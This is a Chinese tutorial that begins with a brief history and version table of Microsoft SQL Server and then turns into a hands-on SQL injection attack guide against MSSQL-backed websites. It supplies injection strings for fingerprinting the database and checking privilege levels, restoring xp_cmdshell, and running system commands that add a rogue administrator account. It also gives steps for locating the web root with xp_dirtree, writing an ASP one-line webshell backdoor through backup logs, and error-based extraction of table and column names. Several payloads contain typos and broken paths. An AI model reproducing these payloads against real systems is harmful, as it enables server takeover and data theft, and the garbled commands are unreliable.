MS SQL是指微软的SQL
Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL
Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过
SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows
NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL
Server即均由微软自行研发。
版本
年份
发布名称
代号
1.0
(OS/2)
1989年
SQL Server 1.0
-
4.21
(WinNT)
1993年
SQL Server 4.21
-
6.0
1995年
SQL Server 6.0
SQL95
6.5
1996年
SQL Server 6.5
Hydra
7.0
1998年
SQL Server 7.0
Sphinx
-
1999年
SQL Server 7.0
OLAP工具
Plato
8.0
2000年
SQL Server 2000
Shiloh
8.0
2003年
SQL Server 2000
64-bit 版本
Liberty
9.0
2005年
SQL Server 2005
Yukon
10.0
2008年
SQL Server 2008
Katmai
11.0
2010年
SQL Server 2010
Kilimanjaro
1:mssql注入点的基本检测
不管什么数据库攻击时都需要进行基本的检测 以确定后面的攻击方案
(1) 注入点类型判断
判断是否是mssql的数据库 语句提交:
And exists (select * from sysobjects)
页面返回正常为mssql注入点
(2) 注入点权限判断
再判断为mssql注入点后 那么进行权限判断 提交以下语句查询
And 1=(select
IS_srvrolemember(‘sysadmin’)) //判断是否是系统管理员权限
And 1=(select
IS_srvrolemember(‘db_owner’)) //判断是否是库权限
And 1=(select IS_srvrolemember(‘public
’)) //判断是否为Public权限(为低的权限)
以上任意一条执行成功也就是返回正常那么说是那个权限
现在来介绍下权限
Sa权限为最高也就是系统管理员权限 有了系统管理权限就相当于那个网站服务器已经在你手中了因为sa权限是系统管理员权限也就是你可以执行任何的CMD命令或者修改red注册表等攻击行为
(3) MSQL返回信息判断
在注入点提交:
And @@version>0
还是从页面返回的错误信息中.可以得到数据库的版本如果页面出错但未返回可利用的学习那么说明mssql关闭了错误信息提示.那么我们就不能进行暴库也就是爆密码出来在那
union select 联合查询.
还可以进行以下的查询检测.以获得跟多的关于mssql注入点信息
;declare @d
int //判断mssql支持多行语句查询
And (select count(1) from
[sysobjects])>=0 //是否支持子查询
And
user>0 //获取当前数据库用户名
And
db_name>0 //获取当前数据库名称
And 1=converr (int,db_name()) 或
1=(select
db_name()) //当前数据库名
And 1=(select
@@servername) //本地服务名
And 1=(select
has_dbaccess(‘master’)) //判断是否有库读写权限
2:利用mssql 扩展存储注入攻击
扩展存储过程是 mssql
提供的特殊功能所谓“扩展存储过程”,其实就是一个普通的windows系统dll文件按照某种规则实现了某些函数功能.mssql利用扩展存储可以实现许多强大的功能,包括对系统进行某种操作等
(1) 检测与恢复扩展存储
提交以下语句进行查询进行检测:
And 1=(select count(*) from master.dbo.sysobjects whrer xtype =
‘x’ and name = ‘xp_cmdshell’)
可以判断xm_cmdshell扩展存储是否存在.
And 1=(select count(*) from master.dbo.sysobjects where
name=’xp_regread’)
可查看xp_regread 扩展存储过程是否被删除
如果扩展存储被删除,可执行如下查询进行恢复
;exec sp_dropextendedproc ‘xp_cmdshell’
上面这条查询语句是在恢复前线删除xp_cmdshell , 以后再在后面进行创建,然后执行如下查询
;exec sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’
该语句是利用系统中默认的”xplog70.dll”文件,自动恢复xp_cmdshell
如果该语句执行不成功那么说明log70这个dll文件被删除了我们就可以上传一个”xplog70.dll”文件,然后进行恢复语句如下:
;exec sp_addextendedproc ‘xp_cmdshell’,’c:xplog70.dll’
(2) 攻击中最常利用的扩展存储
在sql注入攻击中.最常利用的扩展存储有如下几个
Xp_cmdshell---------利用此存储过程可以直接执行系统命令
Xp_regread ---------- 利用此存储过程可以进行注册表读取
Xp_regwrite----------利用此存储过程可以写入注册表
Xp_dirtree------------利用此存储过程可以进行列目录操作
Xp_enumdsn--------利用此存储过程可以进行odbc连接
Xp_loginconfig-----利用此存储过程可以进行配置服务器安全模式信息
Sa权限的扩展存储攻击利用方法
如果是判断为sa权限的话那么我们只需提交各种扩展存储查询语句就可以实现危害很大的攻击
1:xp_cmdshell扩展执行任意命令
利用xp_cmdshell课执行命令 比如提交
;exec master..xp_cmdshell ‘dir c:’
就可以列出c盘所有的目录
;exec master..xp_cmdshell ‘net user
bingdao bingdao /add &&net localgroup administrators
bingdao
/add’
就是在系统用户组内添加一个用户名和密码都是bingdao的用户并且将它加入到管理组里面 然后可以开启3389和修改端口号 不过一般都要看情况而定的
SA权限还有其他几种就不一一介绍了 在课件里也是有的《mssql_sa下常用和不常用提权操作大全.doc》
DB权限下的扩展的攻击利用
如果判断权限为db权限 虽然无法直接利用系统命令等进行直接攻击 所以攻击也会较为麻烦一点
当注入点为DB权限 那么我们可以考虑直接写入一句话但写入一句话的前提就是知道web物理路径列出web目录。然后利用sql语句创建一个临时表然后将这个一句话插入到这个临时表再进行备份
备份成asp文件就成功得到一个一句话后门了然后连接就OK了
1:判断数据库权限
And 1=(select is_member(‘db_owner’));--
这个语句和一开始的语句不怎么一样但是效果都是测试权限的
如果返回正常那么就是db权限 其实 啊D等工具就是这样判断的
2:查找web物理目录
如果我们用DB权限写入一句话是需要知道web目录
执行如下:
;create table
temp (dir nvarchar(255),depth varchar(255),files varchar(255),id
int not null identity (1,1));--
该语句可创建一个临时表一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回结果 ID字段则方便查询指定内容
再执行:
;insert into temp (dir,depth,files) exec master.dbo.xp_dirtree
‘c:’,1,1—
利用xp_dirtree 查询 将指定目录文件盒文件夹插入到临时表中
这里查询的是C盘目录 在进行如下查询
And (select dir from temp where id=1)>0
该句就是查询临时表中的内容,也就是指定的目录文件盒文件夹名,因为不能一次性获得所有的信息所以我们只能修改ID值就是修改id=..
依次列出文件夹和文件
通过这个比较麻烦的方法我们可以找到web目录路径
3:写入一句话木马
是在找到web目录后就可以写入一句话木马了
执行以下语句
;alter database XXXX set RECOVERY FULL
;backup log XXXX to disk = 'c:Sammy' with init
;create table cmd (a image)
;insert into cmd (a) values ('一句话')
;backup log XXXX to disk = 'c:xxx2.asp'
执行完毕就可以在指定web目录生存一个名为2.asp的后门文件用一句话木马客户端连接就可得到webshell 上面的xxxx是数据库
4:MSSQL注入猜解数据库技术
如果权限够那么我们就可以像上面那样直接提权或者DB写文件进去但如果我们权限不够那?那我们就得像access那样猜解管理员的表的字段,内容进入后台想办法拿webshell
1:having 与 group by 查询爆表名与字段名
Mssql注入点地址后面提交
Having 1=1—
就可从返回的错误信息中即可得到当前表名与第1个字段在继续提交以下代码
Group by 字段名1 having 1=1—
即可得到第2个字段名继续提交以下
Group by 字段名1,字段名2 having 1=1—
这样一直下去直到得到所有字段名